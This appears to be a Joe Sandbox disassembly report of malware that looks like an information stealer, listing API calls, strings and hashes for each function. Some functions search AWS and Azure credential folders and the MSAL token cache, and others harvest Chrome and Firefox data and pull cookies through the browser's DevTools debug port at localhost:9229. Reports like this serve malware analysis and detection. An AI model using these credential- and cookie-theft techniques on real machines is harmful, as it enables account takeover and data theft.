lstrlenA.KERNEL32(0042D01C), ref: 00420321
lstrcpy.KERNEL32(00000000,0042D01C), ref: 00420356
lstrlenA.KERNEL32(0042D01C), ref: 00420361
lstrcpy.KERNEL32(00000000,0042D01C), ref: 00420393
lstrlenA.KERNEL32(0042D01C), ref: 0042039E
lstrcpy.KERNEL32(00000000,0042D01C), ref: 004203CA
lstrlenA.KERNEL32(0042D01C), ref: 004203F5
lstrcpy.KERNEL32(00000000,0042D01C), ref: 00420421

Strings

Ol, xrefs: 004206EC
fplugins, xrefs: 00420908
Zi, xrefs: 004208B1
5j, xrefs: 00420806

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen
String ID: fplugins$5j$Ol$Zi
API String ID: 367037083-1700367763
Opcode ID: d459316ce1840520b99a62d69b51506168dacc88ac6782cab9aec39fb8a1ebf6
Instruction ID: fa93068a60d9dd7379f1be1304e59d2a8546c185f4bdfc14f2d016eab3d11859
Opcode Fuzzy Hash: d459316ce1840520b99a62d69b51506168dacc88ac6782cab9aec39fb8a1ebf6
Instruction Fuzzy Hash: CDD26D70A01214CFDB24DF29D884B99B7F1BF08314F9981AED408AB3A2DB799D85CF55

Function 004151C9 Relevance: 42.9, APIs: 23, Strings: 1, Instructions: 869stringfileCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,0042D01C), ref: 004151F0
lstrlenA.KERNEL32(00810AB0), ref: 00415200
lstrcpy.KERNEL32(00000000,00000000), ref: 0041522B
lstrcatA.KERNEL32(00000000,00000000), ref: 00415237
lstrcpy.KERNEL32(00000000,00000000), ref: 00415261
lstrcpy.KERNEL32(00000000,00000000), ref: 0041529F
lstrcatA.KERNEL32(00000000), ref: 004152A9
lstrcpy.KERNEL32(00000000,00000000), ref: 004152D4
CopyFileA.KERNEL32(?,00000000,00000001), ref: 004152F2
lstrcpy.KERNEL32(00000000,?), ref: 0041531D
CopyFileA.KERNEL32(?,?,00000001), ref: 00415333
lstrcpy.KERNEL32(00000000), ref: 00415393
lstrcpy.KERNEL32(00000000,?), ref: 004153B9
lstrcpy.KERNEL32(00000000,?), ref: 004153EB
lstrcpy.KERNEL32(00000000,?), ref: 0041541D
lstrcpy.KERNEL32(00000000,?), ref: 0041544F
lstrcpy.KERNEL32(00000000,00000000), ref: 00415476
DeleteFileA.KERNEL32(00000000), ref: 004154A3
lstrcpy.KERNEL32(00000000,?), ref: 00415584
lstrcpy.KERNEL32(00000000,?), ref: 004155AF
lstrcpy.KERNEL32(00000000,?), ref: 004155E8
FindNextFileA.KERNELBASE(?,?), ref: 00415689
FindClose.KERNEL32(?), ref: 00415698

Strings

P2#v, xrefs: 00415689

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: lstrcpy$File$CopyFindlstrcat$CloseDeleteNextlstrlen
String ID: P2#v
API String ID: 857633602-3395895848
Opcode ID: a40581f72f68f5604645957bade2a0a57587b2a9b3f35eba48f82a4f6743f008
Instruction ID: 18eead38d5e390766738598584415a06e73f7ba2dcdecadc831fbf13fc5b3cad
Opcode Fuzzy Hash: a40581f72f68f5604645957bade2a0a57587b2a9b3f35eba48f82a4f6743f008
Instruction Fuzzy Hash: FA721D70A01601CFDB24CF29C588BA6B7E5AF84314F19C1AED8099B3A1D779DC82CF95

Function 004092E0 Relevance: 42.4, APIs: 19, Strings: 5, Instructions: 365stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004090F0: InternetOpenA.WININET(0042D01C,00000001,00000000,00000000,00000000), ref: 0040910F
Part of subcall function 004090F0: InternetOpenUrlA.WININET(00000000,http://localhost:9229/json,00000000,00000000,80000000,00000000), ref: 0040912C
Part of subcall function 004090F0: InternetCloseHandle.WININET(00000000), ref: 00409139
Part of subcall function 004090F0: strlen.MSVCRT ref: 00409155

strlen.MSVCRT ref: 00409311
strlen.MSVCRT ref: 0040932A

Part of subcall function 00417EB0: memchr.MSVCRT ref: 00417EEF
Part of subcall function 00417EB0: memcmp.MSVCRT(00000000,?,?,?,"webSocketDebuggerUrl":,00000000), ref: 00417F09
Part of subcall function 00417EB0: memchr.MSVCRT ref: 00417F28

Part of subcall function 004089B0: std::_Xinvalid_argument.LIBCPMT ref: 004089C6

memset.MSVCRT ref: 00409371
lstrcatA.KERNEL32(?,ws://localhost:9229), ref: 0040938C
lstrcatA.KERNEL32(?,00000000), ref: 004093A2
strlen.MSVCRT ref: 004093C9
strlen.MSVCRT ref: 00409416
memcmp.MSVCRT(?,0042D01C,?), ref: 0040943B
memset.MSVCRT ref: 00409562
lstrcatA.KERNEL32(?,cookies), ref: 00409577
lstrcatA.KERNEL32(?,00431D64), ref: 00409589
lstrcatA.KERNEL32(?,?), ref: 0040959A
lstrcatA.KERNEL32(?,00435170), ref: 004095AC
lstrcatA.KERNEL32(?,?), ref: 004095BD
lstrcatA.KERNEL32(?,.txt), ref: 004095CF
lstrlenA.KERNEL32(?), ref: 004095E6
lstrlenA.KERNEL32(?), ref: 0040960B
lstrcpy.KERNEL32(00000000,?), ref: 00409644
memset.MSVCRT ref: 0040968C

Strings

ws://localhost:9229, xrefs: 00409380
.txt, xrefs: 004095C3
cookies, xrefs: 0040956B
localhost, xrefs: 004092FA, 00409318
/devtools, xrefs: 00409325, 00409330

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: lstrcat$strlen$Internetmemset$Openlstrlenmemchrmemcmp$CloseHandleXinvalid_argumentlstrcpystd::_
String ID: .txt$/devtools$cookies$localhost$ws://localhost:9229
API String ID: 2819545660-3542011879
Opcode ID: ca8807d54ff0a70339df2ee14d9c364a0014637927814a653876fd6bece5c66d
Instruction ID: 1fbb94d82e73c37da455906768e88cc51559410fdbe01a15f64c888bbc85cab4
Opcode Fuzzy Hash: ca8807d54ff0a70339df2ee14d9c364a0014637927814a653876fd6bece5c66d
Instruction Fuzzy Hash: C8E12671E00218EBDF14DFA8C984ADEBBB5AF48304F50447AE509B7291DB789E45CF98

Function 0041E880 Relevance: 42.2, APIs: 16, Strings: 8, Instructions: 200stringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0041E8A1
SHGetFolderPathA.SHELL32(00000000,00000028,00000000,00000000,?), ref: 0041E8CE
lstrcpy.KERNEL32(00000000,?), ref: 0041E900
lstrcatA.KERNEL32(?,00000000), ref: 0041E90C
lstrcatA.KERNEL32(?,\.azure\), ref: 0041E923
memset.MSVCRT ref: 0041E961
SHGetFolderPathA.SHELL32(00000000,00000028,00000000,00000000,?), ref: 0041E98C
lstrcpy.KERNEL32(00000000,?), ref: 0041E9C0
lstrcatA.KERNEL32(?,00000000), ref: 0041E9CC
lstrcatA.KERNEL32(?,\.aws\), ref: 0041E9E3
memset.MSVCRT ref: 0041EA21
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041EA51
lstrcpy.KERNEL32(00000000,?), ref: 0041EA82
lstrcatA.KERNEL32(?,00000000), ref: 0041EA8E
lstrcatA.KERNEL32(?,\.IdentityService\), ref: 0041EAA5
memset.MSVCRT ref: 0041EAE3

Strings

Azure\.IdentityService, xrefs: 0041EAAB
Azure\.azure, xrefs: 0041E929
\.aws\, xrefs: 0041E9D9
msal.cache, xrefs: 0041EAB0
\.azure\, xrefs: 0041E919
\.IdentityService\, xrefs: 0041EA9B
Azure\.aws, xrefs: 0041E9E9
*.*, xrefs: 0041E92E, 0041E9EE

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: lstrcat$memset$FolderPathlstrcpy
String ID: *.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 4067350539-3645552435
Opcode ID: 0d19090bb1499d91f049c3eff647231a1073ba6aabdeb1433ee4452664ca8588
Instruction ID: 47a9b212450ccfff487c8e42bd75981e2270a163f145ca0000d687f28e1f65ee
Opcode Fuzzy Hash: 0d19090bb1499d91f049c3eff647231a1073ba6aabdeb1433ee4452664ca8588
Instruction Fuzzy Hash: 56610971604304ABD324FB61DC4AFDF7794AF88704F40882EBA85971D1DBB8E5498BDA

Function 00421BF0 Relevance: 40.7, APIs: 27, Instructions: 182stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,0042D01C), ref: 00421C0F
GetUserDefaultLangID.KERNEL32 ref: 00421C15
ExitProcess.KERNEL32 ref: 00421C38

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: DefaultExitLangProcessUserlstrcpy
String ID:
API String ID: 947182691-0
Opcode ID: 3037f2fff132393d0efd360fad4676ee5ced42a28ce99aae337ed75030109022
Instruction ID: b7d00e5115faf911772a5408845a47e0a6d5faef567676f4c06a1ed335b771e0
Opcode Fuzzy Hash: 3037f2fff132393d0efd360fad4676ee5ced42a28ce99aae337ed75030109022
Instruction Fuzzy Hash: 4E51B535A00225DFC720AF71ED4DB6F767AAF50745F44502AF905A32B1DFB8D8018BA8

Function 00414B10 Relevance: 35.3, APIs: 18, Strings: 2, Instructions: 309stringmemoryCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,?), ref: 00414B43
LocalAlloc.KERNEL32(00000040,?), ref: 00414B75
lstrcpy.KERNEL32(00000000,0042D01C), ref: 00414BC2
lstrlenA.KERNEL32(00435138), ref: 00414BCD
lstrcpy.KERNEL32(00000000,00000000), ref: 00414BEA
lstrcatA.KERNEL32(00000000,00435138), ref: 00414BF6
lstrcpy.KERNEL32(00000000,00000000), ref: 00414C1B
lstrcpy.KERNEL32(00000000,00000000), ref: 00414C48
lstrcatA.KERNEL32(00000000,00000000), ref: 00414C53
lstrcpy.KERNEL32(00000000,00000000), ref: 00414C7A
StrStrA.SHLWAPI(?,00000000), ref: 00414C8C
lstrlenA.KERNEL32(?), ref: 00414CA0
lstrcpy.KERNEL32(00000000,0042D01C), ref: 00414CE1
lstrcpy.KERNEL32(00000000,?), ref: 00414D68
lstrcpy.KERNEL32(00000000,?), ref: 00414D91
lstrcpy.KERNEL32(00000000,?), ref: 00414DBA
lstrcpy.KERNEL32(00000000,?), ref: 00414DE0
lstrcpy.KERNEL32(00000000,?), ref: 00414E0D

Strings

moz-extension+++, xrefs: 00414CE7
^userContextId=4294967295, xrefs: 00414D04

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcatlstrlen$AllocLocal
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 4107348322-3310892237
Opcode ID: 81bc50582e4befd98fcabef26d62f56b68fbb6a42c794f829e219ef2520d661b
Instruction ID: 8b56361520c5809f4eaffa935fa85cc6a6dcc531b405573afed421974edc4980
Opcode Fuzzy Hash: 81bc50582e4befd98fcabef26d62f56b68fbb6a42c794f829e219ef2520d661b
Instruction Fuzzy Hash: 73B1B071A012069BCB24EF75D989A9F7BB5AF84304F04413AF845A73A1DB78EC418BD8

Function 0040E5C9 Relevance: 33.9, APIs: 17, Strings: 2, Instructions: 634stringfileCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,0042D01C), ref: 0040E5F0
CopyFileA.KERNEL32(?,?,00000001), ref: 0040E665
lstrcpy.KERNEL32(00000000,?), ref: 0040E6A5
lstrcpy.KERNEL32(00000000,?), ref: 0040E6CE
lstrcpy.KERNEL32(00000000,?), ref: 0040E6F6
lstrcpy.KERNEL32(00000000,?), ref: 0040E749
lstrcpy.KERNEL32(00000000,?), ref: 0040E772
lstrcpy.KERNEL32(00000000,?), ref: 0040E797
StrCmpCA.SHLWAPI(?,Google Chrome), ref: 0040E7B1
DeleteFileA.KERNEL32(?), ref: 0040E80D
StrCmpCA.SHLWAPI(?,008099E8), ref: 0040E837
lstrcpy.KERNEL32(00000000,?), ref: 0040E8C3
lstrcpy.KERNEL32(00000000,?), ref: 0040E8F5
lstrcpy.KERNEL32(00000000,?), ref: 0040E944
lstrcpy.KERNEL32(00000000,?), ref: 0040E96A
lstrcpy.KERNEL32(00000000,?), ref: 0040E9A2

Strings

Google Chrome, xrefs: 0040E7A8
P2#v, xrefs: 0040E9D8

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: lstrcpy$File$CopyDelete
String ID: Google Chrome$P2#v
API String ID: 676222653-2109610101
Opcode ID: 8d3520e6b5fc777437ba287c486dd4414bef900449b3e55f0c8c998750397cc1
Instruction ID: 3ff8c2adba3a30a37286746a1978d73c6d46649d3cf5d6e0f088639a3b65f952
Opcode Fuzzy Hash: 8d3520e6b5fc777437ba287c486dd4414bef900449b3e55f0c8c998750397cc1
Instruction Fuzzy Hash: BA425E71A012018FDB24DF2AC988B5A77E1AF44314F19C5BEE809AB3A1D779EC51CF94

Function 00406B80 Relevance: 31.7, APIs: 16, Strings: 2, Instructions: 229networkstringfileCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,?), ref: 00406BAF
lstrcpy.KERNEL32(00000000,0042D01C), ref: 00406C02
InternetOpenA.WININET(0042D01C,00000001,00000000,00000000,00000000), ref: 00406C15
StrCmpCA.SHLWAPI(?,008125C8), ref: 00406C2D
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406C55
HttpOpenRequestA.WININET(00000000,GET,?,00811EF0,00000000,00000000,-00400100,00000000), ref: 00406C90
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00406CB7
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00406CC6
HttpQueryInfoA.WININET(00000000,00000013,?,?,00000000), ref: 00406CE5
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00406D3F
lstrcpy.KERNEL32(00000000,?), ref: 00406D9B
InternetReadFile.WININET(?,00000000,000007CF,?), ref: 00406DBD
InternetCloseHandle.WININET(00000000), ref: 00406DCE
InternetCloseHandle.WININET(?), ref: 00406DD8
InternetCloseHandle.WININET(00000000), ref: 00406DE2
lstrcpy.KERNEL32(00000000,00000000), ref: 00406E03

Strings

ERROR, xrefs: 00406CF2
GET, xrefs: 00406C8A

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$CloseHandleHttp$FileOpenReadRequest$ConnectInfoOptionQuerySend
String ID: ERROR$GET
API String ID: 3687753495-3591763792
Opcode ID: 87257076956a341b13fa63d6a46207adaa6e8b360b5b2913f5ac42926f177073
Instruction ID: ddb395a227c486647c67abd69709cabe4a41b328a28a23bd1f3b388a47dd7c98
Opcode Fuzzy Hash: 87257076956a341b13fa63d6a46207adaa6e8b360b5b2913f5ac42926f177073
Instruction Fuzzy Hash: 27818071B00215ABEB20DFA4DC49BAF77B9AF44700F114169F905F72D0DBB8AD058BA8

Function 0040B3F9 Relevance: 30.5, APIs: 20, Instructions: 451stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,0042D01C), ref: 0040B420
lstrcpy.KERNEL32(00000000,00000000), ref: 0040B46E
lstrcpy.KERNEL32(00000000,00000000), ref: 0040B499
lstrcatA.KERNEL32(00000000,00000000), ref: 0040B4A1
lstrcpy.KERNEL32(00000000,00000000), ref: 0040B4C9
lstrlenA.KERNEL32(00435224), ref: 0040B540
lstrcpy.KERNEL32(00000000,00000000), ref: 0040B564
lstrcatA.KERNEL32(00000000,00435224), ref: 0040B570
lstrcpy.KERNEL32(00000000,00000000), ref: 0040B599
lstrlenA.KERNEL32(00000000), ref: 0040B61D
lstrcpy.KERNEL32(00000000,00000000), ref: 0040B647
lstrcatA.KERNEL32(00000000,00000000), ref: 0040B64F
lstrcpy.KERNEL32(00000000,00000000), ref: 0040B677
lstrlenA.KERNEL32(004350AC), ref: 0040B6EE
lstrcpy.KERNEL32(00000000,00000000), ref: 0040B712
lstrcatA.KERNEL32(00000000,004350AC), ref: 0040B71E
lstrcpy.KERNEL32(00000000,00000000), ref: 0040B74E
lstrlenA.KERNEL32(?), ref: 0040B857
lstrlenA.KERNEL32(?), ref: 0040B866
lstrcpy.KERNEL32(00000000,00000000), ref: 0040B88E

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: e46c2aa9b98d75fd756f2d77d4593f887fd243ff3a299c748a14d4e0236694a2
Instruction ID: ee0c7873056eabb18c41aa8a61c16d99007a5e85906b309cdaa2ab9b9e826b2f
Opcode Fuzzy Hash: e46c2aa9b98d75fd756f2d77d4593f887fd243ff3a299c748a14d4e0236694a2
Instruction Fuzzy Hash: 05020A71A016058FCB24DF65D988A6BB7A5EF44308F18847AE409AB3E1D779DC42CFD8

Function 004090F0 Relevance: 26.4, APIs: 12, Strings: 3, Instructions: 161networkstringfileCOMMON

Download Yara Rule

APIs

InternetOpenA.WININET(0042D01C,00000001,00000000,00000000,00000000), ref: 0040910F
InternetOpenUrlA.WININET(00000000,http://localhost:9229/json,00000000,00000000,80000000,00000000), ref: 0040912C
InternetCloseHandle.WININET(00000000), ref: 00409139
strlen.MSVCRT ref: 00409155
InternetReadFile.WININET(?,?,?,00000000), ref: 00409196
InternetReadFile.WININET(00000000,?,00001000,?), ref: 004091C7
InternetCloseHandle.WININET(00000000), ref: 004091D2
InternetCloseHandle.WININET(00000000), ref: 004091D9
strlen.MSVCRT ref: 004091EA
strlen.MSVCRT ref: 0040921D
strlen.MSVCRT ref: 0040925E

Part of subcall function 00417EB0: memchr.MSVCRT ref: 00417EEF
Part of subcall function 00417EB0: memcmp.MSVCRT(00000000,?,?,?,"webSocketDebuggerUrl":,00000000), ref: 00417F09
Part of subcall function 00417EB0: memchr.MSVCRT ref: 00417F28

strlen.MSVCRT ref: 0040927C

Part of subcall function 004089B0: std::_Xinvalid_argument.LIBCPMT ref: 004089C6

Strings

"webSocketDebuggerUrl":, xrefs: 004091E5, 004091F0
"ws://, xrefs: 00409259, 00409264
http://localhost:9229/json, xrefs: 00409126

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: Internet$strlen$CloseHandle$FileOpenReadmemchr$Xinvalid_argumentmemcmpstd::_
String ID: "webSocketDebuggerUrl":$"ws://$http://localhost:9229/json
API String ID: 4166274400-2144369209
Opcode ID: 5d23801b99cd1b3e68d6f9f84ff4356ee7a37475ac6afd0d9d07fb3f30cc68fe
Instruction ID: 79ebf048afa3732728cc4f04c9b91a059c75f7b9ba70598588d5fe4afb2da91c
Opcode Fuzzy Hash: 5d23801b99cd1b3e68d6f9f84ff4356ee7a37475ac6afd0d9d07fb3f30cc68fe
Instruction Fuzzy Hash: DF51C371B00205ABDB20DFA8DC45BDEF7F9DB48714F14406AF904E3281DBB8EA4587A9

Function 00423700 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 222registrystringCOMMON

Download Yara Rule

APIs

Part of subcall function 00427210: lstrcpy.KERNEL32(00000000,ERROR), ref: 0042722E

RegOpenKeyExA.KERNEL32(?,0080E738,00000000,00020019,?,00000000,00000000), ref: 0042375D
RegEnumKeyExA.KERNEL32(?,?,?,?,00000000,00000000,00000000,00000000), ref: 00423797
wsprintfA.USER32 ref: 004237C2
RegOpenKeyExA.KERNEL32(?,?,00000000,00020019,?), ref: 004237E0
RegCloseKey.ADVAPI32(?), ref: 004237EE
RegCloseKey.ADVAPI32(?), ref: 004237F8
RegQueryValueExA.KERNEL32(?,00810D68,00000000,000F003F,?,?), ref: 00423841
lstrlenA.KERNEL32(?), ref: 00423856
RegQueryValueExA.KERNEL32(?,00810CD8,00000000,000F003F,?,00000400), ref: 004238C7
RegCloseKey.KERNEL32(?), ref: 00423912
RegCloseKey.ADVAPI32(?), ref: 00423929

Strings

?, xrefs: 0042373E
- , xrefs: 004238D1
%s\%s, xrefs: 004237B6

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: Close$OpenQueryValue$Enumlstrcpylstrlenwsprintf
String ID: - $%s\%s$?
API String ID: 13140697-3278919252
Opcode ID: 14954aa140ceee74e8e78759ecf50174b5d4866fb2f0a95148abe3ae8e888ef2
Instruction ID: 0b2940b6bfee34353d3342592a5675baa1b3c84fd410ceb204bcf8f930a928bc
Opcode Fuzzy Hash: 14954aa140ceee74e8e78759ecf50174b5d4866fb2f0a95148abe3ae8e888ef2
Instruction Fuzzy Hash: DE91BEB2A002189FCB10DF94DC84ADEB7B9FB48314F5481AEF509A7251CB799E41CFA4

Function 0040A070 Relevance: 23.0, APIs: 12, Strings: 1, Instructions: 251stringlibraryCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(00809798,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0000FFFF), ref: 0040A086
lstrcpy.KERNEL32(00000000,0042D01C), ref: 0040A0B3
